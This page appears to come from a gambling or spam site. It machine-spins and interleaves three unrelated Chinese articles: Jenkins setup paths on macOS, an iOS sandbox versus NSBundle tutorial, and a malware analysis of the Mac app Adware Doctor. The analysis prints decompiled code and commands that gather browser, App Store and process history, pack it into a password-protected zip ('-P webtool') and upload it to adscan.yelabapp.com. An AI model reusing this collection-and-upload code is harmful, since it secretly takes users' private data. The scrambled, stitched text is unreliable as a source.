当前位置: 新豪天地登录网址 > www.3559.com > 正文

持续更新总结www.3559.com,环境配置介绍

时间:2019-08-28 07:55来源:www.3559.com
原标题:被针对中夏族民共和国服务器提供数据,Mac App Store下架排行第一的付费安软 Jenkins景况长远精通 Jenkins相关安插文件路线 Jenkins职业目录:/Users/Shared/Jenkins/Home 品种目录:/jobs

原标题:被针对中夏族民共和国服务器提供数据,Mac App Store下架排行第一的付费安软

Jenkins景况长远精通

    1. Jenkins相关安插文件路线
    • Jenkins职业目录:/Users/Shared/Jenkins/Home

      • 品种目录:/jobs

        • 单个项目目录:/jobs/项目名称

          • 类型布置文件:/jobs/项目名称/config.xml

          • 花色编写翻译目录:/jobs/项目名称/builds

          • 品类空间引得:/jobs/项目名称/workspace

      • 插件目录:/plugins

    • Jenkins遭逢安插文件:/Library/LaunchDaemons/org.jenkins-ci.plist

      • 安排 日志文件路线

      • 配备 Jenkins工作目录

      • 布置 Jenkins运维脚本

      • 布局 Jenkins的顾客归属

    • Jenkins参数配置文件:/Library/Preferences/org.jenkins-ci.plist

      • 配置 http 端口号

      • 配置 https 端口号

      • 布署 https 证书消息

      • 等等。。。。。。

    • 日志:/private/var/log/jenkins/jenkins.log

    • 开发银行目录:/Library/Application Support/Jenkins

      • 开端脚本:jenkins-runner.sh

      • 卸载脚本:Uninstall.command

    • 重新启航Jenkins

      • 网页重启形式:

      • 重启计算机情势

      • 手动重启格局:

        • sudo launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist

        • sudo launchctl unload /Library/LaunchDaemons/org.jenkins-ci.plist

  • [ ] 2. Jenkins 配置 https 地址

    • 生成 https 证书

      • 1

      • 2

      • 3

    • 配置 https 证书地方

      • 将证书key保存到 /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 将证书cert保存到 /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Preferences/org.jenkins-ci.plist 文件

      • 添加 httpsPort : 8443

      • 添加 httpsPrivateKey : /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 添加 httpsCertificate : /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Application Support/Jenkins/jenkins-runner.sh 文件

      • 拉长代码 add_to_args httpsPrivateKey

      • 丰盛代码 add_to_args httpsCertificate

  • 重启运行Jenkins

    • 重启计算机情势

    • 手动重启情势:

      • sudo launchctl unload /Library/LaunchDaemons/org.jenkins-ci.plist

      • sudo launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist

1 沙盒和NSBundle的区别

Simulator相关路线

  • 以下均在Xcode6或上述测量试验

前言

沙盒(NSHomeDirectory()) 是系统加载 app时,为 app 分配的存储空间。如本地数据库,文件存款和储蓄;

模拟器在MAC中的路线一:

模拟器在MAC中的安装路线

  • /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs

app应用在MAC中的安装路线

  • 在Xcode5和在此以前的本子中
    • /Users/username/Library/Application Support/iPhone Simulator。
    • 在该文件夹下,能够查阅到具有的模拟器版本,点进去后,可查看应用沙盒景况。
    • 在支付中,提议将文件拖动神速路线到Finder侧边个人收藏下,能够一本万利展开查看应用沙盒。
  • 在Xcode6中,将模拟器的岗位进行了退换
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标志(一些字符串)
      • 末尾这么些模拟器标记正是一些字符串代表每八个例外的iOS设备
        诸如D3E79030-5DB9-4E5B-8E46-5C3B100LIVINAC1C就表示那是Nokia4S,点击踏向查看device.plist那些文件。

app应用的mainBundle在MAC中路线(app在mac上的存放地点)

  • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标志/data/Containers/Bundle/Application/iOS应用程序标标志符/iOS应用程序.app,然后右击包内容进入查看。
    • 当中纵使旧事中的[NSBundle mainBundle]对应的路线
  • mainBundle中加载指定(URL/路径)的文件
- URLForResource方法

NSURL *url = [[NSBundle mainBundle] URLForResource:soundName withExtension:@"mp3"];

- pathForResource方法

NSString *path = [[NSBundle mainBundle] pathForResource:soundName ofType:@"mp3"];

近些年有日本媒体报导,Mac App Store中付费安全软件中排名第一的Adware Doctor被钻探职员开掘在未经客户同意的情状下收罗浏览历史,并将数据发送至位于中华夏族民共和国的服务器,之后被Mac App Store下架。

NSBundle 是系统加载 app时,app 的可进行代码和那一个代码必要的财富文件所在的目录;

app在MAC中的路线二:(文件归档存储/数据长久化存款和储蓄地点)

  • 在目录中追寻查个门路
- NSSearchPathForDirectoriesInDomains( )
  • 应用app文件归档所在路线
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标志/data/Containers/Data/Application/iOS应用程序标标志符/iOS应用程序
// 应用app文件归档所在路径
NSString *path = NSHomeDirectory();
  • Documents(文档)
- /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Documents

        NSString *path = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) lastObject];
  • Library(资源库)
    /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标记/data/Containers/Data/Application/iOS应用程序标标志符/iOS应用程序/Library
    • Library/Caches(沙盒)
      • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标记/data/Containers/Data/Application/iOS应用程序标标记符/iOS应用程序/Library
// 获取沙盒路径
NSString *caches = [NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES) lastObject];

- Library/Preferences(`偏好设置`)
    - /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Preferences
  • tmp(临时文件夹)
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标志/data/Containers/Data/Application/iOS应用程序标标志符/iOS应用程序/tmp
        // 获取临时文件夹路径
        NSString *path = NSTemporaryDirectory();

在被下架此前,Adware Doctor是一款广受客商款待的固原选拔,目的在于保障顾客的浏览器免受广告软件和恶心软件威吓。国外斟酌职员解构了本次发生的下架事件的来踪去迹。

上面打字与印刷出他们的地点。

Adware Doctor

留神:每回打字与印刷出的地点都以例外的

在Adware Doctor的鼓吹中,它是Mac顾客抵御各类大范围广告软件威吓的“最好应用”:

- (void)viewDidLoad {

www.3559.com 1

[super viewDidLoad];

在Mac App Store中,那款应用程序深受应接,在最热销的应用程序中排行榜第四,由此连苹果Mac App Store网址都列出了它的新闻:

NSLog(@"bundle: %p", [[NSBundle mainBundle] infoDictionary]);

www.3559.com 2

NSLog(@"home: %p", NSHomeDirectory());

在“付费实用工具”分类中,Adware Doctor排行第一:

NSLog(@"code: %p", self);

www.3559.com 3

NSLog(@"bundle: %@", [[NSBundle mainBundle] bundlePath]);

事件解构

NSLog(@"home: %@", NSHomeDirectory());

商讨人员使用静态深入分析(反编写翻译)和动态深入分析(互联网监察和控制、文件监察和控制和调试)的方式对那款应用程序举办了研商,以下是经过和结果。

NSString *content = @"my file content";

先是,钻探人口从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac App Store中的全部应用程序同样)由苹果例行签发:

NSError *error;

www.3559.com 4

BOOL isRight = NO;

启航应用程序,阅览到它经过HTTPS发出各类互连网诉求。比方,连接受adwareres.securemacos.com通过GET诉求/AdwareDoctor/master.1.5.5.js:

isRight = [content writeToFile:[[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:@"file1.txt"]

www.3559.com 5

atomically:YES

如图所示,下载的master.1.5.5.js文件包含基本JSON配置数据:

encoding:NSUTF8StringEncoding

{

error:&error];

“disable_rate”:false,

if (!isRight) {

“disable_prescan”:false,

NSLog(@"write to bundle error: %@", error.localizedDescription);

“sk_on”:false,

}

“faq_link”:“

isRight = [content writeToFile:[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES).firstObject stringByAppendingPathComponent:@"file1.txt"]

}

atomically:YES

单击应用程序界面中的“Clean”按键会触发另二个到adwareres.securemacos.com的网络须求,本次下载的是名字为config1.5.0.js的第二个文本:

encoding:NSUTF8StringEncoding

www.3559.com 6

error:&error];

本次下载的config1.5.0.js文书包罗越来越多JSON,最值得注意的是那款软件的数据库的链接:

if (!isRight) {

{

NSLog(@"write to home dir error: %@", error.localizedDescription);

“update”:true,

}

“version”:“201808243”,

}

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

模拟器中输出:

}

第 1 次运行:

下一场是一个看起来很健康的数据库更新进度:

2017-07-26 10:38:41.307 Harvest[2236:541410] bundle: 0x600000065380

www.3559.com 7

2017-07-26 10:38:41.307 Harvest[2236:541410] home: 0x7fd6d65043d0

商讨人士查看了数据库的原委,是加密的(符合反广告软件/反恶意软件的做法):

2017-07-26 10:38:41.307 Harvest[2236:541410] code: 0x7fd6d650d820

www.3559.com 8

2017-07-26 10:38:41.308 Harvest[2236:541410] bundle: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/817CFB68-19FE-4D58-960F-68F72BE236B7/Harvest.app

选择调节和测量检验器捕获应用程序在内存中解密的公文,然后转储纯文本内容:

2017-07-26 10:38:41.308 Harvest[2236:541410] home: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/E1D22141-A32F-468E-91D5-307BD82FA251

(lldb)

第 2 次运行:

binaryContentMatchPatten = ({

2017-07-26 10:39:13.476 Harvest[2273:544438] bundle: 0x608000261040

md5 = (

2017-07-26 10:39:13.476 Harvest[2273:544438] home: 0x7f83b470cbb0

48a96e1c00be257debc9c9c58fafaffe,

2017-07-26 10:39:13.476 Harvest[2273:544438] code: 0x7f83b450e460

f1a19b8929ec88a81a6bdce6d5ee66e6,

2017-07-26 10:39:13.477 Harvest[2273:544438] bundle: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/05F27F47-8384-40A7-9FDF-451255E282B3/Harvest.app

3e653285b290c12d40982e6bb65928c1,

2017-07-26 10:39:13.477 Harvest[2273:544438] home: /Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/D91EC197-590D-4538-9651-435056AB5D19

801e59290d99ecb39fd218227674646e,

真机中输出:

8d0cd4565256a781f73aa1e68e2a63de,

第 1 次运行:

e233edd82b3dffd41fc9623519ea281b,

2017-07-26 10:33:04.426597 0800 Harvest[7963:2911220] bundle: 0x17007b8c0

1db830f93667d9c38dc943595dcc2d85,

2017-07-26 10:33:04.426826 0800 Harvest[7963:2911220] home: 0x17414e650

...

2017-07-26 10:33:04.426857 0800 Harvest[7963:2911220] code: 0x14de0ed10

browserHomePagePatten = (

2017-07-26 10:33:04.426885 0800 Harvest[7963:2911220] bundle: /var/containers/Bundle/Application/0FF63C1B-80CC-4C79-9119-3EABE8D61F14/Harvest.app

{

2017-07-26 10:33:04.427091 0800 Harvest[7963:2911220] home: /var/mobile/Containers/Data/Application/EA36910B-A24D-48BD-A657-561247429851

name = "Chrome homepage: safefinder";

2017-07-26 10:33:04.446798 0800 Harvest[7963:2911220] write to bundle error: 您未有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

patten = "Chrome.*feed\.snowbitt\.com.*publisher=tingnew";

第 2 次运行:

},

2017-07-26 10:35:51.724381 0800 Harvest[7969:2912283] bundle: 0x17007c7c0

{

2017-07-26 10:35:51.724596 0800 Harvest[7969:2912283] home: 0x174150490

name = "Chrome homepage: safefinder";

2017-07-26 10:35:51.724627 0800 Harvest[7969:2912283] code: 0x145e0e4e0

patten = "Chrome.*feed\.snowbitt\.com.*publisher=TingSyn";

2017-07-26 10:35:51.724655 0800 Harvest[7969:2912283] bundle: /var/containers/Bundle/Application/36A3A0D0-B007-45B1-8672-7A9195CEDBF5/Harvest.app

},

2017-07-26 10:35:51.724857 0800 Harvest[7969:2912283] home: /var/mobile/Containers/Data/Application/BDAA6308-C671-4022-B97C-F8EFE36CE746

{

2017-07-26 10:35:51.740230 0800 Harvest[7969:2912283] write to bundle error: 您未有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

name = "Chrome homepage: safefinder";

来得 Harvest.app 的包内容:

patten = "Chrome.*searchword.*/90/";

www.3559.com 9

},

开采 NSHomeDirectory() 中的内容:

...

www.3559.com 10

filePathPatten = (

结果深入分析:

"/Applications/WebShoppers",

(1)bundle 中有个 info.plist 文件,是 app 的布局文件;沙盒的 Library / Preferences 中有个 com.god.harvest.plist 文件,它用于 UserDefault 存款和储蓄;

"/Applications/WebShoppy",

另:使用 xcode > Devices 下载 app 的 container 内容,会看出重要正是沙盒中的内容,再加上叁个 AppDataInfo.plist(就是 info.plist).

"/Applications/SoftwareUpdater",

(2)模拟器中,能够通过 writeToFile 向 沙盒 和 Bundle 中 写入文件;真机中是无法向 Bundle 中写入文件的;

"/Applications/webshoppers",

法定文书档案中申明(地址:

"~/Library/Application Support/WebTools",

• A package is any directory that the Finder presents to the user as if it were a single file.

"~/Library/WebTools",

• A bundle is a directory with a standardized hierarchical structure that holds executable code and the resources used by that code.

"/Applications/WebTools",

"/Applications/WebTools.app",

"/Applications/SmartShoppy",

"/Applications/ShopTool",

"/Applications/ShoppyTool",

"/Applications/EasyShopper",

...

launchPathMatchPatten = (

"com.WebShoppers.agent.plist",

"com.WebShoppy.agent.plist",

"com.webshoppers.agent.plist",

"com.SoftwareUpdater.agent.plist",

...

whitelist = (

"~/Library/LaunchAgents/com.spotify.webhelper.plist",

"/Library/LaunchDaemons/com.intel.haxm.plist",

"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",

"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",

"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",

"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",

"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",

"/Library/LaunchAgents/com.microsoft.update.agent.plist",

"/Library/LaunchDaemons/com.crashplan.engine.plist"

...

那个特点看起来是一款反广告软件,并且哈希值确实与已知的广告软件极其:

www.3559.com 11

例如Adware.MAC.Pirrit:

www.3559.com 12

重临Adware Doctor应用分界面,它已打算好清理客商的种类:

www.3559.com 13

以致于上边一步并未出现万分,但前面临狼狈了。

第一,在运行文件监视器(比方MacOS内置的fs_usage)和对含有历史记录的文本举办过滤(不区分轻重缓急写)后,一些特别的文件访谈历史显现出来:

# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/History

Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运行进度监视器(举例开源的ProcInfo实用程序),能够侦查到Adware Doctor使用内建zip实用程序成立受密码拥戴的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

"/bin/bash",

"-c",

"zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null"

)

运用互连网代理监视器(Charles Proxy)捕获Adware Doctor到adscan.yelabapp.com的总是尝试:

www.3559.com 14

通过编制系统的/etc/hosts文件,将此呼吁重定向到切磋人口调控的服务器,捕获到Adware Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

Connection: keep-alive

Accept: */*

User-Agent: Adware Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)

Content-Length: 15810

Accept-Language: en-us

Accept-Encoding: br, gzip, deflate

Path: /1/checkadware

Attachment: 'history.zip' (length: 15810)

待上传的“history.zip”文件受密码爱慕:

www.3559.com 15

重放经过监视器的输出,密码被发送到内建的zip实用程序:zip -r –quiet -P webtool …。

密码也被编码到应用程序的二进制文件中,由此反编写翻译二进制文件就可以获得密码。

输入webtool作为密码解压文件:

www.3559.com 16

查看解压出来的开始和结果,Adware Doctor在暗地里收罗顾客的浏览器历史记录:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory

Person 1:

2018-08-20 21:19:57

2018-08-20 21:19:36

$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory

08:29:41

1397-06-02 08:29:20

深远解析

总的来看这里,有四个难题亟待解答:

它什么绕过Mac App Store的沙盒机制来拜见用户的文本?

它什么搜罗客商的浏览器历史记录?

它还搜聚了哪些系统音信和个人身份音讯(PII)?

从安全和隐衷的角度来看,从官方Mac App Store安装应用程序的要紧优势有两点:

前后相继通过苹果官方调查和签发;

前后相继在沙盒中运作。

当应用程序在沙箱中运维时,能够访谈的文书或顾客音信特别有限,应该不可能访谈顾客的浏览器历史记录,但此处Adware Doctor做到了。

透过工具(WhatsYourSign)查看该应用程序的权能,包蕴:com.apple.security.files.user-selected.read-write:

www.3559.com 17

那项权限意味着应用程序能够乞请某个文件的权能,何况猎取显著的客户许可后,对文本进行读/写操作。Adware Doctor在率先次运维时,会呈请访谈客商的主目录以及上面包车型客车兼具文件和目录:

www.3559.com 18

那是透过[MainWindowController showFileAccess]措施达成的:

/ * @class MainWindowController * /

- (void)showFileAccess {

r15 = self;

var_30 = [[AppSandboxFileAccess fileAccess] retain];

r13 = [[AppSandboxFileAccess fileAccess] retain];

rbx = [[BSUtil realHomeDirectory] retain];

r14 = [r13 hasAccessPremisionPath:rbx];

...

在AppSandboxFileAccess类的助手下:

www.3559.com 19

在调节和测验器(lldb)中,观望顾客主目录的探问尝试:

Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:

-> 0x10000cebf < 0>: pushq %rbp

0x10000cec0 < 1>: movq %rsp, %rbp

0x10000cec3 < 4>: pushq %r15

0x10000cec5 < 6>: pushq %r14

(lldb) po $rdi

(lldb) x/s $rsi

0x10006a147: "hasAccessPremisionPath:"

(lldb) po $rdx

/Users/user

今昔,Adware Doctor能够合法访谈客商的文本和目录,举个例子扫描以搜寻恶意代码。可是,一旦顾客点击允许,Adware Doctor将具有对全数顾客文件的全方位探访权限,它利用了多种收集系统和客商信息的艺术。固然有些(比如进度列表)或然真的是用以反恶意软件或反广告软件的操作,但其余顾客消息(比如客户的浏览历史记录)违反了从严的Mac App Store法则。

搜聚格局在ACEAdwareCleaner类中落到实处,并取名字为collect *:

www.3559.com 20

逆向一下局地艺术

先是是collectSample方法。此格局查询应用程序下载的数据库。看起来它用于搜索国访问谈样本中钦赐的文书:

- (void)collectSample {

...

rbx = [r15 pattenDic];

r14 = [rbx valueForKey:@“sample”];

在调节和测量检验器中跳过此代码,并检讨示例键的未加密值:

(lldb)“/ Application / Adware Doctor.app”

...

po $ rax

<__ NSArrayM 0x10732b5e0>(

NAME =`whoami`; echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;

它正在客商的LaunchAgents目录中搜索名称为com.apple.Yahoo.plist的文书。在找出引擎中寻找“com.apple.Yahoo.plist”,跳出的音信与门罗币挖矿木马有关。在VirusTotal上得以找到有关文书,但看起来没难点:

www.3559.com 21

collectPSCommonInfoToFile方法。反编写翻译相关文书后猎取了字符串和详细的主意名称,揭露了目标:

/* @class ACEAdwareCleaner */

-(void)collectPSCommonInfoToFile:(void *)arg2 {

var_38 = [arg2 retain];

r14 = [[NSMutableString alloc] init];

[r14 appendString:@"===System===n"];

rbx = [[ACECommon operatingSystem] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r14 appendString:@"===OS UpTime===n"];

rbx = [[ACECommon getSystemUpTime] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r14 appendString:@"===Launch===n"];

rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

r15 = [[ACECommon realHomeDirectory] retain];

r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain];

rbx = [[self readLaunchFolder:r13] retain];

[r14 appendFormat:@"%@n"];

[rbx release];

[r13 release];

[r15 release];

[r14 appendString:@"n===Applications===n"];

rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@"n===process===n"];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@"n===process2===n"];

rbx = [[ACECommon collectProcessList2] retain];

[r14 appendString:rbx];

[rbx release];

[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];

[var_38 release];

[r14 release];

return;

}

可以手动解析那个代码,但回顾地让它施行并在下一行(临近函数末尾)设置断点要轻便得多:

(lldb)po $ rdx

/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support / com.yelab.Browser-Sweeper / history / psCommonInfo

请留神那些psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文书档案中):

$ cat psCommonInfo

===System===

Version 10.13.6 (Build 17G65)

===OS UpTime===

1hour, 10minute, 31second

===Launch===

/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist

444 root wheel

...

===Applications===

/Applications/DVD Player.app(1396-07-20 02:11:55 0000)

/Applications/Siri.app(1396-07-27 03:17:13 0000)

/Applications/QuickTime Player.app(1396-08-19 02:31:30 0000)

/Applications/Chess.app(1396-06-15 01:20:21 0000)

/Applications/Photo Booth.app(1396-04-25 01:50:31 0000)

/Applications/Adware Doctor.app(1397-03-20 09:59:27 0000)

....

===process2===

processID processName userID userName command

1759 bash 501 user /bin/bash

1758 login 0 root /usr/bin/login

1730 silhouette 501 user /usr/libexec/silhouette

1709 mdwrite 501 user /System/Library/Frame

....

虽说Adware Doctor拿到了经过com.apple.security.files.user-selected.read-write权限和显明的顾客许可来枚举客户文件,但据他们说沙箱设计,它如故鞭长莫及列出任何正在运营的长河。

追忆一下collectPSCommonInfoToFile,调用以下二种方法:

[r14 appendString:@“ n === process === n”];

rbx = [[ACECommon collectProcessList] retain];

...

[r14 appendString:@“ n === process2 === n”];

rbx = [[ACECommon collectProcessList2] retain];

艺术collectProcessList尝试通过内置的ps命令枚举全数正在周转的进度:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/sh

(lldb) po [$rdi arguments]

<__NSArrayI 0x1002851f0>(

-c,

ps -e -c -o "pid uid user args"

)

被macOS应用程序沙箱阻止(拒绝),因为枚举正在周转的进程(来自沙箱)是“避讳”:

/bin/sh: /bin/ps: Operation not permitted

Adware Doctor使用了collectProcessList2方法:

(void *)collectProcessList2

{

...

rax = sub_1000519ad(&var_1068, &var_10A0,

@"processIDttt processNamettt userIDttt userNamettt commandn", rcx, r8, r9);

...

var_1070 = var_1068;

do {

...

proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000);

} while (var_1088 > rax);

}

调用sub_一千519ad然后迭代该函数再次回到的有的列表,调用proc_pidpath。sub_1000519ad回去三个进程ID列表:

000000010007df90 dd 0x00000001 ;CTL_KERN

000000010007df94 dd 0x0000000e ;KERN_PROC

000000010007df98 dd 0x00000000 ;KERN_PROC_ALL

int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)

{

...

rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);

if ((r12 ^ rax) == 0x1){

__assert_rtn("GetBSDProcessList",

"/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ...

}

rbx = malloc(0x0);

rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);

sysctl函数的调用加上字符串GetBSDProcessList给出了经过列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中获得进度列表,也正是说 Adware Doctor用来绕沙箱的代码直接源于苹果。

到现在让我们看看Adware Doctor怎样搜集顾客的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:

collectSafariHistoryToFile

collectChromeHistoryToFile

firefoxHistory

这个主意中的每贰个都富含用于提取浏览器历史记录的代码。

对于Safari来说,那将调用分析其History.db文件:

(void)collectSafariHistoryToFile:(void *)arg2 {

...

if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) {

r15 = [[ACECommon realHomeDirectory] retain];

rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];

;parse database

}

else {

r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain];

[r12 writeData:r14];

[r14 release];

[r12 closeFile];

}

}

该collectChromeHistoryToFile涉及到多个公文,但大多能够归纳为列举Chrome个人资料,然后深入分析Chrome历史数据。

(void)collectChromeHistoryToFile:(void *)arg2 {

r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain];

rbx = [[rbx stringByAppendingPathComponent:r13] retain];

[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];

...

rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];

...

}

末尾,在条分缕析每一种配置文件的places.sqlite数据库以前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:

(void)collectFirefoxHistoryToFile:(void *)arg2 {

...

r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain];

r15 = [[rbx stringByAppendingPathComponent:r12] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];

该应用程序还应该有四个名称为collectAppStoreHistoryToFile的法子,它将尝试在App Store App中拿走顾客近日的享有搜索记录:

(void)collectAppStoreHistoryToFile:(void *)arg2 {

...

15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain];

...

r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx]

...

ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*(https://search.itunes.apple.com.*q=.*)" .*/1/'")]

}

在访谈完客户数量后将持有内容都收缩到history.zip文件发送:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/bash

(lldb) po [$rdi arguments]

<__NSArrayI 0x100352480>(

-c,

zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null

)

此文件以及蕴含软件列表的JSON blob(已下载的.dmgs或.pkgs以及从哪个地方下载),然后通过调用sendPostRequestWithSuffix方法上传到服务器(请留心API端点:checkadware) :

[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];

[

{

"content": "/Users/user/Downloads/googlechrome.dmgn1397-06-02 21:15:46 0000n(n "https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg",n "https://www.google.com/chrome/"n)n5533641bc4cc7af7784565ac2386a807n"

},{

"content": "/Users/user/Downloads/charles-proxy-4.2.6.dmgn1397-06-02 20:48:18 0000n(n "https://www.charlesproxy.com/assets/release/4.2.6/charles-proxy-4.2.6.dmg",n "https://www.charlesproxy.com/latest-release/download.do"n)nde043b43c49077bbdce75de22e2f2d54n"

},{

"content": "/Users/user/Downloads/Firefox 61.0.2.dmgn1397-06-02 21:16:08 0000n(n "https://download-installer.cdn.mozilla.net/pub/firefox/releases/61.0.2/mac/en-US/Firefox 61.0.2.dmg",n "https://www.mozilla.org/en-US/firefox/download/thanks/?v=a"n)n65096904bf80c4dd12eb3ba833b7db8dn"

},

...

]

--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA

Content-Disposition: form-data; name="attachment"; filename="history.zip"

Content-Type: application/zip

...

到了那边,客户数量就发到中华夏族民共和国的服务器上去了。

结语

Adware Doctor的一颦一笑违反了苹果 Mac App Store严刻的条条框框和安插。比如,在“App Store法则和指南” 的“数据搜聚和仓库储存”部分提议:

采撷客户或行使数据的应用程序必得确认保障顾客的同意;

使用必需重视客户的权位设置,并不是计算期骗或强迫顾客同意不须要的数目访谈;

